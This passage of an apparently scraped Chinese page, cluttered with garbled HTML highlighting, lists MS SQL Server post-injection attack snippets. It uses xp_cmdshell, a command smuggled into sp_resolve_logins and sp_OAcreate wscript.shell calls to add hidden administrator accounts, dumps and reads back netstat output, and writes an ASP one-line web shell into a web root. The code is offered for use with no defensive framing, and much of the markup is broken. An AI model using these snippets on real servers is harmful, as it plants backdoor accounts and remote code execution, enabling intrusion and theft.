style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
&nbsp;
三、
<span style="color: #339933;">--------------------------</span>
<span style="color: #339933;">--</span>使用存储过程加管理方法<span style="color: #339933;">--</span>
<span style="color: #339933;">--------------------------</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
<span style="color: #0000dd;">1</span>、master.<span style="color: #202020;">dbo</span>.<span style="color: #202020;">xp_cmdshell</span> <span style="color: #ff0000;">'net user itpro gmasfm &amp;amp;&amp;amp; net localgroup administrators itpro /add'</span>
<span style="color: #0000dd;">2</span>、EXEC sp_resolve_logins <span style="color: #ff0000;">'text'</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">'e:<span style="color: #000099; font-weight: bold;">\a</span>sp<span style="color: #000099; font-weight: bold;">\&quot;</span>&amp;amp;net user admina admin /add&amp;amp;net localgroup administrators admina /add&amp;amp;dir &quot;e:<span style="color: #000099; font-weight: bold;">\a</span>sp'</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">'1.asp'</span>
<span style="color: #0000dd;">3</span>、DECLARE @shell INT EXEC SP_OAcreate <span style="color: #ff0000;">'wscript.shell'</span><span style="color: #339933;">,</span>@shell OUTPUT EXEC SP_OAMETHOD
@shell<span style="color: #339933;">,</span><span style="color: #ff0000;">'run'</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add'</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
&nbsp;
四、
<span style="color: #339933;">-------------------------</span>
<span style="color: #339933;">--</span> 导出文件的存储过程  <span style="color: #339933;">--</span>
<span style="color: #339933;">-------------------------</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
DECLARE @shell INT EXEC SP_OAcreate <span style="color: #ff0000;">'wscript.shell'</span><span style="color: #339933;">,</span>@shell OUTPUT EXEC SP_OAMETHOD @shell<span style="color: #339933;">,</span><span style="color: #ff0000;">'run'</span><span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">'C:\WINdows\system32\cmd.exe /c netstat -an &amp;gt;c:<span style="color: #006699; font-weight: bold;">\1</span>.txt'</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
&nbsp;
五、
<span style="color: #339933;">---------------------------</span>
<span style="color: #339933;">--</span>  读取文件的存储过程http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.nuanyue.com-----------------------------&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;declare&quot;&gt;www.nuanyue.com--</span>
<span style="color: #339933;">---------------------------</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
declare @o <span style="color: #993333;">int</span><span style="color: #339933;">,</span> @f <span style="color: #993333;">int</span><span style="color: #339933;">,</span> @t <span style="color: #993333;">int</span><span style="color: #339933;">,</span> @ret <span style="color: #993333;">int</span>
declare @line varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">8000</span><span style="color: #009900;">&#41;</span>
exec sp_oacreate <span style="color: #ff0000;">'scripting.filesystemobject'</span><span style="color: #339933;">,</span> @o out
exec sp_oamethod @o<span style="color: #339933;">,</span> <span style="color: #ff0000;">'opentextfile'</span><span style="color: #339933;">,</span> @f out<span style="color: #339933;">,</span> <span style="color: #ff0000;">'c:<span style="color: #006699; font-weight: bold;">\1</span>.txt'</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span>
exec @ret <span style="color: #339933;">=</span> sp_oamethod @f<span style="color: #339933;">,</span> <span style="color: #ff0000;">'readline'</span><span style="color: #339933;">,</span> @line out
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span> @ret <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span> <span style="color: #009900;">&#41;</span>
begin
print @line
exec @ret <span style="color: #339933;">=</span> sp_oamethod @f<span style="color: #339933;">,</span> <span style="color: #ff0000;">'readline'</span><span style="color: #339933;">,</span> @line out
end
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
&nbsp;
六、
&nbsp;
<span style="color: #339933;">----------------------</span>
<span style="color: #339933;">-----</span>写一句话木马http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.nuanyue.com---------------------------&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;declare&quot;&gt;www.nuanyue.com-----</span>
<span style="color: #339933;">----------------------</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
declare @o <span style="color: #993333;">int</span><span style="color: #339933;">,</span> @f <span style="color: #993333;">int</span><span style="color: #339933;">,</span> @t <span style="color: #993333;">int</span><span style="color: #339933;">,</span> @ret <span style="color: #993333;">int</span>
exec sp_oacreate <span style="color: #ff0000;">'scripting.filesystemobject'</span><span style="color: #339933;">,</span> @o out
exec sp_oamethod @o<span style="color: #339933;">,</span> <span style="color: #ff0000;">'createtextfile'</span><span style="color: #339933;">,</span> @f out<span style="color: #339933;">,</span> <span style="color: #ff0000;">'c:\Inetpub<span style="color: #000099; font-weight: bold;">\t</span>ianhong<span style="color: #006699; font-weight: bold;">\2</span>.asp'</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span>
exec @ret <span style="color: #339933;">=</span> sp_oamethod @f<span style="color: #339933;">,</span> <span style="color: #ff0000;">'writeline'</span><span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span>
<span style="color: #ff0000;">'&amp;lt; %execute(request(&quot;a&quot;))%&amp;gt;'</span>     <span style="color: #ff0000;">' '</span> 单引号为要写的内容
<span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> <span style="color: #339933;">%</span><span style="color:#800080;">25</span> <span style="color: #b1b100;">if</span> request<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;x&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;&amp;</span>gt<span style="color: #339933;">;</span><span style="color: #ff0000;">&quot;&quot;</span> then execute<span style="color: #009900;">&#40;</span>request<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;x&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span><span style="color:#800080;">25</span><span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
&nbsp;
防注入写入法
<span style="color: #339933;">================================================================</span>
